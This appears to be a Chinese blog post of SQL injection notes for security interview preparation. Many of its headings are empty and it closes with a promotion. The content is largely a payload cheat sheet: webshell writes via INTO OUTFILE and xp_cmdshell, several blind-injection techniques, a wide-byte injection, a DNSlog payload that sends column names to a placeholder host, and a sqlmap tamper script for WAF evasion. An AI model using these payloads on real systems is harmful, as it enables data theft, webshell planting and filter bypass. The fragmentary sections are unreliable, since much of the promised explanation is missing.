SQL:关系型数据库
NoSQL:非关系型数据库
关系型:
非关系型:
数据库存储引擎是数据库底层软件组织,数据库管理系统(DBMS)使用数据引擎进行创建、查询、更新和删除数据。不同的存储引擎提供不同的存储机制、索引技巧、锁定水平等功能,使用不同的存储引擎,还可以获得特定的功能。
危害:
防御:
注入常用函数:
等价函数绕过,反之亦可:
原理:
条件:
条件:
用法: mysql:
id=1' and 1=2 union select 1,2,'shell内容' into outfile "绝对路径shell.php" %23
sqlserver:
id=1';EXEC master..xp_cmdshell 'echo "shell内容" > 绝对路径shell.asp' --
join绕过:
union select * from ((select 1)A join (select 2)B join (select 3)C join (select group_concat(user(),' ',database(),' ',@@datadir))D);
benchmark代替sleep:
id=1 and if(ascii(substring((database()),1,1))=115,(select benchmark(10000000,md5(0x41))),1) --+
笛卡尔积盲注:
select * from ctf_test where user='1' and 1=1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C)
RLIKE盲注:
select * from flag where flag='1' and if(mid(user(),1,1)='r',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+cd',1)
宽字节注入:
操作:
id=1%df' and 1=2 union select 1,2,user(),4 %23
DNSlog盲注:
id=1' and load_file(concat('\\',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),'.your-dnslog.com\cHr1s'))--+
举例:
tamper固定模板如下:
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
pass
PROIORITY
用于定义tamper优先级,当调用多个tamper时生效,优先级如下,数值越大优先级越高
dependencies
用于提示用户tamper适用范围,具体代码如下:
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
import os
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("过狗tamper '%s' 只针对 %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
DBMS.MYSQL代表MYSQL,其他数据库类推
Tamper
tamper关键函数,用于定义过滤规则,示例代码如下:
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def tamper(payload, **kwargs):
payload=payload.replace('AND','/*!29440AND*/')
payload=payload.replace('ORDER','/*!29440order*/')
payload=payload.replace('LIKE USER()','like (user/**/())')
payload=payload.replace('DATABASE()','database/*!29440*/()')
payload=payload.replace('CURRENT_USER()','CURRENT_USER/**/()')
payload=payload.replace('SESSION_USER()','SESSION_USER(%0a)')
payload=payload.replace('UNION ALL SELECT','union/*!29440select*/')
payload=payload.replace('super_priv','/*!29440/**/super_priv*/')
payload=payload.replace('and host=','/*!29440and*/host/*!11440=*/')
payload=payload.replace('BENCHMARK(','BENCHMARK/*!29440*/(')
payload=payload.replace('SLEEP(','sleep/**/(')
return payload
fuzz出具体payload后对关键字符进行替换
平台文章字数有限,下面的面试题我以图片的形式展示:
需要完整面试题的伙伴可点击《点此领取完整面试题》